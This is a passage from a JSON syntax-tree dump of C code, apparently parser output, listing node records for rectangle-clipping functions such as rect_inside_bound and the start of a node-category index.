"column": 16}, "end_point": {"row": 182, "column": 18}}, {"id": 784, "type": "field_expression", "text": "r2->lry", "parent": 779, "children": [785, 786], "start_point": {"row": 182, "column": 19}, "end_point": {"row": 182, "column": 26}}, {"id": 785, "type": "identifier", "text": "r2", "parent": 784, "children": [], "start_point": {"row": 182, "column": 19}, "end_point": {"row": 182, "column": 21}}, {"id": 786, "type": "field_identifier", "text": "lry", "parent": 784, "children": [], "start_point": {"row": 182, "column": 23}, "end_point": {"row": 182, "column": 26}}, {"id": 787, "type": "assignment_expression", "text": "min_bound->lry = r2->lry", "parent": 777, "children": [788, 791, 792], "start_point": {"row": 183, "column": 8}, "end_point": {"row": 183, "column": 32}}, {"id": 788, "type": "field_expression", "text": "min_bound->lry", "parent": 787, "children": [789, 790], "start_point": {"row": 183, "column": 8}, "end_point": {"row": 183, "column": 22}}, {"id": 789, "type": "identifier", "text": "min_bound", "parent": 788, "children": [], "start_point": {"row": 183, "column": 8}, "end_point": {"row": 183, "column": 17}}, {"id": 790, "type": "field_identifier", "text": "lry", "parent": 788, "children": [], "start_point": {"row": 183, "column": 19}, "end_point": {"row": 183, "column": 22}}, {"id": 791, "type": "=", "text": "=", "parent": 787, "children": [], "start_point": {"row": 183, "column": 23}, "end_point": {"row": 183, "column": 24}}, {"id": 792, "type": "field_expression", "text": "r2->lry", "parent": 787, "children": [793, 794], "start_point": {"row": 183, "column": 25}, "end_point": {"row": 183, "column": 32}}, {"id": 793, "type": "identifier", "text": "r2", "parent": 792, "children": [], "start_point": {"row": 183, "column": 25}, "end_point": {"row": 183, "column": 27}}, {"id": 794, "type": "field_identifier", "text": "lry", "parent": 792, "children": [], "start_point": {"row": 183, "column": 29}, "end_point": {"row": 183, "column": 32}}, {"id": 795, "type": "else_clause", "text": "else {\r\n min_bound->lry = r1->lry;\r\n }", "parent": 777, "children": [], "start_point": {"row": 184, "column": 6}, "end_point": {"row": 186, "column": 5}}, {"id": 796, "type": "assignment_expression", "text": "min_bound->lry = r1->lry", "parent": 795, "children": [797, 800, 801], "start_point": {"row": 185, "column": 8}, "end_point": {"row": 185, "column": 32}}, {"id": 797, "type": "field_expression", "text": "min_bound->lry", "parent": 796, "children": [798, 799], "start_point": {"row": 185, "column": 8}, "end_point": {"row": 185, "column": 22}}, {"id": 798, "type": "identifier", "text": "min_bound", "parent": 797, "children": [], "start_point": {"row": 185, "column": 8}, "end_point": {"row": 185, "column": 17}}, {"id": 799, "type": "field_identifier", "text": "lry", "parent": 797, "children": [], "start_point": {"row": 185, "column": 19}, "end_point": {"row": 185, "column": 22}}, {"id": 800, "type": "=", "text": "=", "parent": 796, "children": [], "start_point": {"row": 185, "column": 23}, "end_point": {"row": 185, "column": 24}}, {"id": 801, "type": "field_expression", "text": "r1->lry", "parent": 796, "children": [802, 803], "start_point": {"row": 185, "column": 25}, "end_point": {"row": 185, "column": 32}}, {"id": 802, "type": "identifier", "text": "r1", "parent": 801, "children": [], "start_point": {"row": 185, "column": 25}, "end_point": {"row": 185, "column": 27}}, {"id": 803, "type": "field_identifier", "text": "lry", "parent": 801, "children": [], "start_point": {"row": 185, "column": 29}, "end_point": {"row": 185, "column": 32}}, {"id": 804, "type": "function_definition", "text": "int rect_inside_bound(Rect *r1, Rect *bound, Rect *r2) {\r\n int result;\r\n\r\n *r2 = *r1;\r\n\r\n if (r1->ulx <= bound->lrx && r1->lrx >= bound->ulx && r1->uly <= bound->lry && r1->lry >= bound->uly) {\r\n if (bound->ulx > r1->ulx) {\r\n r2->ulx = bound->ulx;\r\n }\r\n if (r1->lrx > bound->lrx) {\r\n r2->lrx = bound->lrx;\r\n }\r\n if (r1->uly < bound->uly) {\r\n r2->uly = bound->uly;\r\n }\r\n if (r1->lry > bound->lry) {\r\n r2->lry = bound->lry;\r\n }\r\n\r\n result = 0;\r\n } else {\r\n result = -1;\r\n }\r\n\r\n return result;\r\n}", "parent": null, "children": [805, 806], "start_point": {"row": 189, "column": 0}, "end_point": {"row": 214, "column": 1}}, {"id": 805, "type": "primitive_type", "text": "int", "parent": 804, "children": [], "start_point": {"row": 189, "column": 0}, "end_point": {"row": 189, "column": 3}}, {"id": 806, "type": "function_declarator", "text": "rect_inside_bound(Rect *r1, Rect *bound, Rect *r2)", "parent": 804, "children": [807, 808], "start_point": {"row": 189, "column": 4}, "end_point": {"row": 189, "column": 54}}, {"id": 807, "type": "identifier", "text": "rect_inside_bound", "parent": 806, "children": [], "start_point": {"row": 189, "column": 4}, "end_point": {"row": 189, "column": 21}}, {"id": 808, "type": "parameter_list", "text": "(Rect *r1, Rect *bound, Rect *r2)", "parent": 806, "children": [809, 814, 819], "start_point": {"row": 189, "column": 21}, "end_point": {"row": 189, "column": 54}}, {"id": 809, "type": "parameter_declaration", "text": "Rect *r1", "parent": 808, "children": [810, 811], "start_point": {"row": 189, "column": 22}, "end_point": {"row": 189, "column": 30}}, {"id": 810, "type": "type_identifier", "text": "Rect", "parent": 809, "children": [], "start_point": {"row": 189, "column": 22}, "end_point": {"row": 189, "column": 26}}, {"id": 811, "type": "pointer_declarator", "text": "*r1", "parent": 809, "children": [812, 813], "start_point": {"row": 189, "column": 27}, "end_point": {"row": 189, "column": 30}}, {"id": 812, "type": "*", "text": "*", "parent": 811, "children": [], "start_point": {"row": 189, "column": 27}, "end_point": {"row": 189, "column": 28}}, {"id": 813, "type": "identifier", "text": "r1", "parent": 811, "children": [], "start_point": {"row": 189, "column": 28}, "end_point": {"row": 189, "column": 30}}, {"id": 814, "type": "parameter_declaration", "text": "Rect *bound", "parent": 808, "children": [815, 816], "start_point": {"row": 189, "column": 32}, "end_point": {"row": 189, "column": 43}}, {"id": 815, "type": "type_identifier", "text": "Rect", "parent": 814, "children": [], "start_point": {"row": 189, "column": 32}, "end_point": {"row": 189, "column": 36}}, {"id": 816, "type": "pointer_declarator", "text": "*bound", "parent": 814, "children": [817, 818], "start_point": {"row": 189, "column": 37}, "end_point": {"row": 189, "column": 43}}, {"id": 817, "type": "*", "text": "*", "parent": 816, "children": [], "start_point": {"row": 189, "column": 37}, "end_point": {"row": 189, "column": 38}}, {"id": 818, "type": "identifier", "text": "bound", "parent": 816, "children": [], "start_point": {"row": 189, "column": 38}, "end_point": {"row": 189, "column": 43}}, {"id": 819, "type": "parameter_declaration", "text": "Rect *r2", "parent": 808, "children": [820, 821], "start_point": {"row": 189, "column": 45}, "end_point": {"row": 189, "column": 53}}, {"id": 820, "type": "type_identifier", "text": "Rect", "parent": 819, "children": [], "start_point": {"row": 189, "column": 45}, "end_point": {"row": 189, "column": 49}}, {"id": 821, "type": "pointer_declarator", "text": "*r2", "parent": 819, "children": [822, 823], "start_point": {"row": 189, "column": 50}, "end_point": {"row": 189, "column": 53}}, {"id": 822, "type": "*", "text": "*", "parent": 821, "children": [], "start_point": {"row": 189, "column": 50}, "end_point": {"row": 189, "column": 51}}, {"id": 823, "type": "identifier", "text": "r2", "parent": 821, "children": [], "start_point": {"row": 189, "column": 51}, "end_point": {"row": 189, "column": 53}}, {"id": 824, "type": "declaration", "text": "int result;", "parent": 804, "children": [825, 826], "start_point": {"row": 190, "column": 4}, "end_point": {"row": 190, "column": 15}}, {"id": 825, "type": "primitive_type", "text": "int", "parent": 824, "children": [], "start_point": {"row": 190, "column": 4}, "end_point": {"row": 190, "column": 7}}, {"id": 826, "type": "identifier", "text": "result", "parent": 824, "children": [], "start_point": {"row": 190, "column": 8}, "end_point": {"row": 190, "column": 14}}, {"id": 827, "type": "assignment_expression", "text": "*r2 = *r1", "parent": 804, "children": [828, 831, 832], "start_point": {"row": 192, "column": 4}, "end_point": {"row": 192, "column": 13}}, {"id": 828, "type": "pointer_expression", "text": "*r2", "parent": 827, "children": [829, 830], "start_point": {"row": 192, "column": 4}, "end_point": {"row": 192, "column": 7}}, {"id": 829, "type": "*", "text": "*", "parent": 828, "children": [], "start_point": {"row": 192, "column": 4}, "end_point": {"row": 192, "column": 5}}, {"id": 830, "type": "identifier", "text": "r2", "parent": 828, "children": [], "start_point": {"row": 192, "column": 5}, "end_point": {"row": 192, "column": 7}}, {"id": 831, "type": "=", "text": "=", "parent": 827, "children": [], "start_point": {"row": 192, "column": 8}, "end_point": {"row": 192, "column": 9}}, {"id": 832, "type": "pointer_expression", "text": "*r1", "parent": 827, "children": [833, 834], "start_point": {"row": 192, "column": 10}, "end_point": {"row": 192, "column": 13}}, {"id": 833, "type": "*", "text": "*", "parent": 832, "children": [], "start_point": {"row": 192, "column": 10}, "end_point": {"row": 192, "column": 11}}, {"id": 834, "type": "identifier", "text": "r1", "parent": 832, "children": [], "start_point": {"row": 192, "column": 11}, "end_point": {"row": 192, "column": 13}}, {"id": 835, "type": "if_statement", "text": "if (r1->ulx <= bound->lrx && r1->lrx >= bound->ulx && r1->uly <= bound->lry && r1->lry >= bound->uly) {\r\n if (bound->ulx > r1->ulx) {\r\n r2->ulx = bound->ulx;\r\n }\r\n if (r1->lrx > bound->lrx) {\r\n r2->lrx = bound->lrx;\r\n }\r\n if (r1->uly < bound->uly) {\r\n r2->uly = bound->uly;\r\n }\r\n if (r1->lry > bound->lry) {\r\n r2->lry = bound->lry;\r\n }\r\n\r\n result = 0;\r\n } else {\r\n result = -1;\r\n }", "parent": 804, "children": [836, 951], "start_point": {"row": 194, "column": 4}, "end_point": {"row": 211, "column": 5}}, {"id": 836, "type": "parenthesized_expression", "text": "(r1->ulx <= bound->lrx && r1->lrx >= bound->ulx && r1->uly <= bound->lry && r1->lry >= bound->uly)", "parent": 835, "children": [837], "start_point": {"row": 194, "column": 7}, "end_point": {"row": 194, "column": 105}}, {"id": 837, "type": "binary_expression", "text": "r1->ulx <= bound->lrx && r1->lrx >= bound->ulx && r1->uly <= bound->lry && r1->lry >= bound->uly", "parent": 836, "children": [838, 866, 867], "start_point": {"row": 194, "column": 8}, "end_point": {"row": 194, "column": 104}}, {"id": 838, "type": "binary_expression", "text": "r1->ulx <= bound->lrx && r1->lrx >= bound->ulx && r1->uly <= bound->lry", "parent": 837, "children": [839, 857, 858], "start_point": {"row": 194, "column": 8}, "end_point": {"row": 194, "column": 79}}, {"id": 839, "type": "binary_expression", "text": "r1->ulx <= bound->lrx && r1->lrx >= bound->ulx", "parent": 838, "children": [840, 848, 849], "start_point": {"row": 194, "column": 8}, "end_point": {"row": 194, "column": 54}}, {"id": 840, "type": "binary_expression", "text": "r1->ulx <= bound->lrx", "parent": 839, "children": [841, 844, 845], "start_point": {"row": 194, "column": 8}, "end_point": {"row": 194, "column": 29}}, {"id": 841, "type": "field_expression", "text": "r1->ulx", "parent": 840, "children": [842, 843], "start_point": {"row": 194, "column": 8}, "end_point": {"row": 194, "column": 15}}, {"id": 842, "type": "identifier", "text": "r1", "parent": 841, "children": [], "start_point": {"row": 194, "column": 8}, "end_point": {"row": 194, "column": 10}}, {"id": 843, "type": "field_identifier", "text": "ulx", "parent": 841, "children": [], "start_point": {"row": 194, "column": 12}, "end_point": {"row": 194, "column": 15}}, {"id": 844, "type": "<=", "text": "<=", "parent": 840, "children": [], "start_point": {"row": 194, "column": 16}, "end_point": {"row": 194, "column": 18}}, {"id": 845, "type": "field_expression", "text": "bound->lrx", "parent": 840, "children": [846, 847], "start_point": {"row": 194, "column": 19}, "end_point": {"row": 194, "column": 29}}, {"id": 846, "type": "identifier", "text": "bound", "parent": 845, "children": [], "start_point": {"row": 194, "column": 19}, "end_point": {"row": 194, "column": 24}}, {"id": 847, "type": "field_identifier", "text": "lrx", "parent": 845, "children": [], "start_point": {"row": 194, "column": 26}, "end_point": {"row": 194, "column": 29}}, {"id": 848, "type": "&&", "text": "&&", "parent": 839, "children": [], "start_point": {"row": 194, "column": 30}, "end_point": {"row": 194, "column": 32}}, {"id": 849, "type": "binary_expression", "text": "r1->lrx >= bound->ulx", "parent": 839, "children": [850, 853, 854], "start_point": {"row": 194, "column": 33}, "end_point": {"row": 194, "column": 54}}, {"id": 850, "type": "field_expression", "text": "r1->lrx", "parent": 849, "children": [851, 852], "start_point": {"row": 194, "column": 33}, "end_point": {"row": 194, "column": 40}}, {"id": 851, "type": "identifier", "text": "r1", "parent": 850, "children": [], "start_point": {"row": 194, "column": 33}, "end_point": {"row": 194, "column": 35}}, {"id": 852, "type": "field_identifier", "text": "lrx", "parent": 850, "children": [], "start_point": {"row": 194, "column": 37}, "end_point": {"row": 194, "column": 40}}, {"id": 853, "type": ">=", "text": ">=", "parent": 849, "children": [], "start_point": {"row": 194, "column": 41}, "end_point": {"row": 194, "column": 43}}, {"id": 854, "type": "field_expression", "text": "bound->ulx", "parent": 849, "children": [855, 856], "start_point": {"row": 194, "column": 44}, "end_point": {"row": 194, "column": 54}}, {"id": 855, "type": "identifier", "text": "bound", "parent": 854, "children": [], "start_point": {"row": 194, "column": 44}, "end_point": {"row": 194, "column": 49}}, {"id": 856, "type": "field_identifier", "text": "ulx", "parent": 854, "children": [], "start_point": {"row": 194, "column": 51}, "end_point": {"row": 194, "column": 54}}, {"id": 857, "type": "&&", "text": "&&", "parent": 838, "children": [], "start_point": {"row": 194, "column": 55}, "end_point": {"row": 194, "column": 57}}, {"id": 858, "type": "binary_expression", "text": "r1->uly <= bound->lry", "parent": 838, "children": [859, 862, 863], "start_point": {"row": 194, "column": 58}, "end_point": {"row": 194, "column": 79}}, {"id": 859, "type": "field_expression", "text": "r1->uly", "parent": 858, "children": [860, 861], "start_point": {"row": 194, "column": 58}, "end_point": {"row": 194, "column": 65}}, {"id": 860, "type": "identifier", "text": "r1", "parent": 859, "children": [], "start_point": {"row": 194, "column": 58}, "end_point": {"row": 194, "column": 60}}, {"id": 861, "type": "field_identifier", "text": "uly", "parent": 859, "children": [], "start_point": {"row": 194, "column": 62}, "end_point": {"row": 194, "column": 65}}, {"id": 862, "type": "<=", "text": "<=", "parent": 858, "children": [], "start_point": {"row": 194, "column": 66}, "end_point": {"row": 194, "column": 68}}, {"id": 863, "type": "field_expression", "text": "bound->lry", "parent": 858, "children": [864, 865], "start_point": {"row": 194, "column": 69}, "end_point": {"row": 194, "column": 79}}, {"id": 864, "type": "identifier", "text": "bound", "parent": 863, "children": [], "start_point": {"row": 194, "column": 69}, "end_point": {"row": 194, "column": 74}}, {"id": 865, "type": "field_identifier", "text": "lry", "parent": 863, "children": [], "start_point": {"row": 194, "column": 76}, "end_point": {"row": 194, "column": 79}}, {"id": 866, "type": "&&", "text": "&&", "parent": 837, "children": [], "start_point": {"row": 194, "column": 80}, "end_point": {"row": 194, "column": 82}}, {"id": 867, "type": "binary_expression", "text": "r1->lry >= bound->uly", "parent": 837, "children": [868, 871, 872], "start_point": {"row": 194, "column": 83}, "end_point": {"row": 194, "column": 104}}, {"id": 868, "type": "field_expression", "text": "r1->lry", "parent": 867, "children": [869, 870], "start_point": {"row": 194, "column": 83}, "end_point": {"row": 194, "column": 90}}, {"id": 869, "type": "identifier", "text": "r1", "parent": 868, "children": [], "start_point": {"row": 194, "column": 83}, "end_point": {"row": 194, "column": 85}}, {"id": 870, "type": "field_identifier", "text": "lry", "parent": 868, "children": [], "start_point": {"row": 194, "column": 87}, "end_point": {"row": 194, "column": 90}}, {"id": 871, "type": ">=", "text": ">=", "parent": 867, "children": [], "start_point": {"row": 194, "column": 91}, "end_point": {"row": 194, "column": 93}}, {"id": 872, "type": "field_expression", "text": "bound->uly", "parent": 867, "children": [873, 874], "start_point": {"row": 194, "column": 94}, "end_point": {"row": 194, "column": 104}}, {"id": 873, "type": "identifier", "text": "bound", "parent": 872, "children": [], "start_point": {"row": 194, "column": 94}, "end_point": {"row": 194, "column": 99}}, {"id": 874, "type": "field_identifier", "text": "uly", "parent": 872, "children": [], "start_point": {"row": 194, "column": 101}, "end_point": {"row": 194, "column": 104}}, {"id": 875, "type": "if_statement", "text": "if (bound->ulx > r1->ulx) {\r\n r2->ulx = bound->ulx;\r\n }", "parent": 835, "children": [876], "start_point": {"row": 195, "column": 8}, "end_point": {"row": 197, "column": 9}}, {"id": 876, "type": "parenthesized_expression", "text": "(bound->ulx > r1->ulx)", "parent": 875, "children": [877], "start_point": {"row": 195, "column": 11}, "end_point": {"row": 195, "column": 33}}, {"id": 877, "type": "binary_expression", "text": "bound->ulx > r1->ulx", "parent": 876, "children": [878, 881, 882], "start_point": {"row": 195, "column": 12}, "end_point": {"row": 195, "column": 32}}, {"id": 878, "type": "field_expression", "text": "bound->ulx", "parent": 877, "children": [879, 880], "start_point": {"row": 195, "column": 12}, "end_point": {"row": 195, "column": 22}}, {"id": 879, "type": "identifier", "text": "bound", "parent": 878, "children": [], "start_point": {"row": 195, "column": 12}, "end_point": {"row": 195, "column": 17}}, {"id": 880, "type": "field_identifier", "text": "ulx", "parent": 878, "children": [], "start_point": {"row": 195, "column": 19}, "end_point": {"row": 195, "column": 22}}, {"id": 881, "type": ">", "text": ">", "parent": 877, "children": [], "start_point": {"row": 195, "column": 23}, "end_point": {"row": 195, "column": 24}}, {"id": 882, "type": "field_expression", "text": "r1->ulx", "parent": 877, "children": [883, 884], "start_point": {"row": 195, "column": 25}, "end_point": {"row": 195, "column": 32}}, {"id": 883, "type": "identifier", "text": "r1", "parent": 882, "children": [], "start_point": {"row": 195, "column": 25}, "end_point": {"row": 195, "column": 27}}, {"id": 884, "type": "field_identifier", "text": "ulx", "parent": 882, "children": [], "start_point": {"row": 195, "column": 29}, "end_point": {"row": 195, "column": 32}}, {"id": 885, "type": "assignment_expression", "text": "r2->ulx = bound->ulx", "parent": 875, "children": [886, 889, 890], "start_point": {"row": 196, "column": 12}, "end_point": {"row": 196, "column": 32}}, {"id": 886, "type": "field_expression", "text": "r2->ulx", "parent": 885, "children": [887, 888], "start_point": {"row": 196, "column": 12}, "end_point": {"row": 196, "column": 19}}, {"id": 887, "type": "identifier", "text": "r2", "parent": 886, "children": [], "start_point": {"row": 196, "column": 12}, "end_point": {"row": 196, "column": 14}}, {"id": 888, "type": "field_identifier", "text": "ulx", "parent": 886, "children": [], "start_point": {"row": 196, "column": 16}, "end_point": {"row": 196, "column": 19}}, {"id": 889, "type": "=", "text": "=", "parent": 885, "children": [], "start_point": {"row": 196, "column": 20}, "end_point": {"row": 196, "column": 21}}, {"id": 890, "type": "field_expression", "text": "bound->ulx", "parent": 885, "children": [891, 892], "start_point": {"row": 196, "column": 22}, "end_point": {"row": 196, "column": 32}}, {"id": 891, "type": "identifier", "text": "bound", "parent": 890, "children": [], "start_point": {"row": 196, "column": 22}, "end_point": {"row": 196, "column": 27}}, {"id": 892, "type": "field_identifier", "text": "ulx", "parent": 890, "children": [], "start_point": {"row": 196, "column": 29}, "end_point": {"row": 196, "column": 32}}, {"id": 893, "type": "if_statement", "text": "if (r1->lrx > bound->lrx) {\r\n r2->lrx = bound->lrx;\r\n }", "parent": 835, "children": [894], "start_point": {"row": 198, "column": 8}, "end_point": {"row": 200, "column": 9}}, {"id": 894, "type": "parenthesized_expression", "text": "(r1->lrx > bound->lrx)", "parent": 893, "children": [895], "start_point": {"row": 198, "column": 11}, "end_point": {"row": 198, "column": 33}}, {"id": 895, "type": "binary_expression", "text": "r1->lrx > bound->lrx", "parent": 894, "children": [896, 899, 900], "start_point": {"row": 198, "column": 12}, "end_point": {"row": 198, "column": 32}}, {"id": 896, "type": "field_expression", "text": "r1->lrx", "parent": 895, "children": [897, 898], "start_point": {"row": 198, "column": 12}, "end_point": {"row": 198, "column": 19}}, {"id": 897, "type": "identifier", "text": "r1", "parent": 896, "children": [], "start_point": {"row": 198, "column": 12}, "end_point": {"row": 198, "column": 14}}, {"id": 898, "type": "field_identifier", "text": "lrx", "parent": 896, "children": [], "start_point": {"row": 198, "column": 16}, "end_point": {"row": 198, "column": 19}}, {"id": 899, "type": ">", "text": ">", "parent": 895, "children": [], "start_point": {"row": 198, "column": 20}, "end_point": {"row": 198, "column": 21}}, {"id": 900, "type": "field_expression", "text": "bound->lrx", "parent": 895, "children": [901, 902], "start_point": {"row": 198, "column": 22}, "end_point": {"row": 198, "column": 32}}, {"id": 901, "type": "identifier", "text": "bound", "parent": 900, "children": [], "start_point": {"row": 198, "column": 22}, "end_point": {"row": 198, "column": 27}}, {"id": 902, "type": "field_identifier", "text": "lrx", "parent": 900, "children": [], "start_point": {"row": 198, "column": 29}, "end_point": {"row": 198, "column": 32}}, {"id": 903, "type": "assignment_expression", "text": "r2->lrx = bound->lrx", "parent": 893, "children": [904, 907, 908], "start_point": {"row": 199, "column": 12}, "end_point": {"row": 199, "column": 32}}, {"id": 904, "type": "field_expression", "text": "r2->lrx", "parent": 903, "children": [905, 906], "start_point": {"row": 199, "column": 12}, "end_point": {"row": 199, "column": 19}}, {"id": 905, "type": "identifier", "text": "r2", "parent": 904, "children": [], "start_point": {"row": 199, "column": 12}, "end_point": {"row": 199, "column": 14}}, {"id": 906, "type": "field_identifier", "text": "lrx", "parent": 904, "children": [], "start_point": {"row": 199, "column": 16}, "end_point": {"row": 199, "column": 19}}, {"id": 907, "type": "=", "text": "=", "parent": 903, "children": [], "start_point": {"row": 199, "column": 20}, "end_point": {"row": 199, "column": 21}}, {"id": 908, "type": "field_expression", "text": "bound->lrx", "parent": 903, "children": [909, 910], "start_point": {"row": 199, "column": 22}, "end_point": {"row": 199, "column": 32}}, {"id": 909, "type": "identifier", "text": "bound", "parent": 908, "children": [], "start_point": {"row": 199, "column": 22}, "end_point": {"row": 199, "column": 27}}, {"id": 910, "type": "field_identifier", "text": "lrx", "parent": 908, "children": [], "start_point": {"row": 199, "column": 29}, "end_point": {"row": 199, "column": 32}}, {"id": 911, "type": "if_statement", "text": "if (r1->uly < bound->uly) {\r\n r2->uly = bound->uly;\r\n }", "parent": 835, "children": [912], "start_point": {"row": 201, "column": 8}, "end_point": {"row": 203, "column": 9}}, {"id": 912, "type": "parenthesized_expression", "text": "(r1->uly < bound->uly)", "parent": 911, "children": [913], "start_point": {"row": 201, "column": 11}, "end_point": {"row": 201, "column": 33}}, {"id": 913, "type": "binary_expression", "text": "r1->uly < bound->uly", "parent": 912, "children": [914, 917, 918], "start_point": {"row": 201, "column": 12}, "end_point": {"row": 201, "column": 32}}, {"id": 914, "type": "field_expression", "text": "r1->uly", "parent": 913, "children": [915, 916], "start_point": {"row": 201, "column": 12}, "end_point": {"row": 201, "column": 19}}, {"id": 915, "type": "identifier", "text": "r1", "parent": 914, "children": [], "start_point": {"row": 201, "column": 12}, "end_point": {"row": 201, "column": 14}}, {"id": 916, "type": "field_identifier", "text": "uly", "parent": 914, "children": [], "start_point": {"row": 201, "column": 16}, "end_point": {"row": 201, "column": 19}}, {"id": 917, "type": "<", "text": "<", "parent": 913, "children": [], "start_point": {"row": 201, "column": 20}, "end_point": {"row": 201, "column": 21}}, {"id": 918, "type": "field_expression", "text": "bound->uly", "parent": 913, "children": [919, 920], "start_point": {"row": 201, "column": 22}, "end_point": {"row": 201, "column": 32}}, {"id": 919, "type": "identifier", "text": "bound", "parent": 918, "children": [], "start_point": {"row": 201, "column": 22}, "end_point": {"row": 201, "column": 27}}, {"id": 920, "type": "field_identifier", "text": "uly", "parent": 918, "children": [], "start_point": {"row": 201, "column": 29}, "end_point": {"row": 201, "column": 32}}, {"id": 921, "type": "assignment_expression", "text": "r2->uly = bound->uly", "parent": 911, "children": [922, 925, 926], "start_point": {"row": 202, "column": 12}, "end_point": {"row": 202, "column": 32}}, {"id": 922, "type": "field_expression", "text": "r2->uly", "parent": 921, "children": [923, 924], "start_point": {"row": 202, "column": 12}, "end_point": {"row": 202, "column": 19}}, {"id": 923, "type": "identifier", "text": "r2", "parent": 922, "children": [], "start_point": {"row": 202, "column": 12}, "end_point": {"row": 202, "column": 14}}, {"id": 924, "type": "field_identifier", "text": "uly", "parent": 922, "children": [], "start_point": {"row": 202, "column": 16}, "end_point": {"row": 202, "column": 19}}, {"id": 925, "type": "=", "text": "=", "parent": 921, "children": [], "start_point": {"row": 202, "column": 20}, "end_point": {"row": 202, "column": 21}}, {"id": 926, "type": "field_expression", "text": "bound->uly", "parent": 921, "children": [927, 928], "start_point": {"row": 202, "column": 22}, "end_point": {"row": 202, "column": 32}}, {"id": 927, "type": "identifier", "text": "bound", "parent": 926, "children": [], "start_point": {"row": 202, "column": 22}, "end_point": {"row": 202, "column": 27}}, {"id": 928, "type": "field_identifier", "text": "uly", "parent": 926, "children": [], "start_point": {"row": 202, "column": 29}, "end_point": {"row": 202, "column": 32}}, {"id": 929, "type": "if_statement", "text": "if (r1->lry > bound->lry) {\r\n r2->lry = bound->lry;\r\n }", "parent": 835, "children": [930], "start_point": {"row": 204, "column": 8}, "end_point": {"row": 206, "column": 9}}, {"id": 930, "type": "parenthesized_expression", "text": "(r1->lry > bound->lry)", "parent": 929, "children": [931], "start_point": {"row": 204, "column": 11}, "end_point": {"row": 204, "column": 33}}, {"id": 931, "type": "binary_expression", "text": "r1->lry > bound->lry", "parent": 930, "children": [932, 935, 936], "start_point": {"row": 204, "column": 12}, "end_point": {"row": 204, "column": 32}}, {"id": 932, "type": "field_expression", "text": "r1->lry", "parent": 931, "children": [933, 934], "start_point": {"row": 204, "column": 12}, "end_point": {"row": 204, "column": 19}}, {"id": 933, "type": "identifier", "text": "r1", "parent": 932, "children": [], "start_point": {"row": 204, "column": 12}, "end_point": {"row": 204, "column": 14}}, {"id": 934, "type": "field_identifier", "text": "lry", "parent": 932, "children": [], "start_point": {"row": 204, "column": 16}, "end_point": {"row": 204, "column": 19}}, {"id": 935, "type": ">", "text": ">", "parent": 931, "children": [], "start_point": {"row": 204, "column": 20}, "end_point": {"row": 204, "column": 21}}, {"id": 936, "type": "field_expression", "text": "bound->lry", "parent": 931, "children": [937, 938], "start_point": {"row": 204, "column": 22}, "end_point": {"row": 204, "column": 32}}, {"id": 937, "type": "identifier", "text": "bound", "parent": 936, "children": [], "start_point": {"row": 204, "column": 22}, "end_point": {"row": 204, "column": 27}}, {"id": 938, "type": "field_identifier", "text": "lry", "parent": 936, "children": [], "start_point": {"row": 204, "column": 29}, "end_point": {"row": 204, "column": 32}}, {"id": 939, "type": "assignment_expression", "text": "r2->lry = bound->lry", "parent": 929, "children": [940, 943, 944], "start_point": {"row": 205, "column": 12}, "end_point": {"row": 205, "column": 32}}, {"id": 940, "type": "field_expression", "text": "r2->lry", "parent": 939, "children": [941, 942], "start_point": {"row": 205, "column": 12}, "end_point": {"row": 205, "column": 19}}, {"id": 941, "type": "identifier", "text": "r2", "parent": 940, "children": [], "start_point": {"row": 205, "column": 12}, "end_point": {"row": 205, "column": 14}}, {"id": 942, "type": "field_identifier", "text": "lry", "parent": 940, "children": [], "start_point": {"row": 205, "column": 16}, "end_point": {"row": 205, "column": 19}}, {"id": 943, "type": "=", "text": "=", "parent": 939, "children": [], "start_point": {"row": 205, "column": 20}, "end_point": {"row": 205, "column": 21}}, {"id": 944, "type": "field_expression", "text": "bound->lry", "parent": 939, "children": [945, 946], "start_point": {"row": 205, "column": 22}, "end_point": {"row": 205, "column": 32}}, {"id": 945, "type": "identifier", "text": "bound", "parent": 944, "children": [], "start_point": {"row": 205, "column": 22}, "end_point": {"row": 205, "column": 27}}, {"id": 946, "type": "field_identifier", "text": "lry", "parent": 944, "children": [], "start_point": {"row": 205, "column": 29}, "end_point": {"row": 205, "column": 32}}, {"id": 947, "type": "assignment_expression", "text": "result = 0", "parent": 835, "children": [948, 949, 950], "start_point": {"row": 208, "column": 8}, "end_point": {"row": 208, "column": 18}}, {"id": 948, "type": "identifier", "text": "result", "parent": 947, "children": [], "start_point": {"row": 208, "column": 8}, "end_point": {"row": 208, "column": 14}}, {"id": 949, "type": "=", "text": "=", "parent": 947, "children": [], "start_point": {"row": 208, "column": 15}, "end_point": {"row": 208, "column": 16}}, {"id": 950, "type": "number_literal", "text": "0", "parent": 947, "children": [], "start_point": {"row": 208, "column": 17}, "end_point": {"row": 208, "column": 18}}, {"id": 951, "type": "else_clause", "text": "else {\r\n result = -1;\r\n }", "parent": 835, "children": [], "start_point": {"row": 209, "column": 6}, "end_point": {"row": 211, "column": 5}}, {"id": 952, "type": "assignment_expression", "text": "result = -1", "parent": 951, "children": [953, 954, 955], "start_point": {"row": 210, "column": 8}, "end_point": {"row": 210, "column": 19}}, {"id": 953, "type": "identifier", "text": "result", "parent": 952, "children": [], "start_point": {"row": 210, "column": 8}, "end_point": {"row": 210, "column": 14}}, {"id": 954, "type": "=", "text": "=", "parent": 952, "children": [], "start_point": {"row": 210, "column": 15}, "end_point": {"row": 210, "column": 16}}, {"id": 955, "type": "number_literal", "text": "-1", "parent": 952, "children": [], "start_point": {"row": 210, "column": 17}, "end_point": {"row": 210, "column": 19}}, {"id": 956, "type": "return_statement", "text": "return result;", "parent": 804, "children": [957], "start_point": {"row": 213, "column": 4}, "end_point": {"row": 213, "column": 18}}, {"id": 957, "type": "identifier", "text": "result", "parent": 956, "children": [], "start_point": {"row": 213, "column": 11}, "end_point": {"row": 213, "column": 17}}]}, "node_categories": {"declarations": {"functions": [9, 11, 35, 37, 170, 172, 562, 564, 651, 653, 676, 678, 804, 806], "variables": [6, 14, 19, 40, 45, 50, 55, 58, 61, 64, 175, 180, 185, 190, 193, 407, 417, 567, 569, 577, 606, 656, 659, 681, 686, 691, 809, 814, 819, 824], "classes": [595, 596], "imports": [0, 1, 3, 4], "modules": [], "enums": []}, "statements": {"expressions": [17, 24, 27, 75, 78, 79, 86, 87, 88, 93, 97, 100, 101, 102, 103, 109, 110, 117, 118, 119, 126, 127, 128, 129, 133, 142, 143, 147, 148, 149, 156, 157, 162, 165, 202, 203, 208, 213, 217, 220, 224, 228, 236, 237, 242, 246, 247, 252, 256, 257, 262, 266, 267, 272, 273, 279, 280, 285, 289, 290, 295, 299, 300, 305, 306, 312, 313, 318, 322, 323, 328, 329, 335, 336, 341, 345, 346, 351, 355, 356, 361, 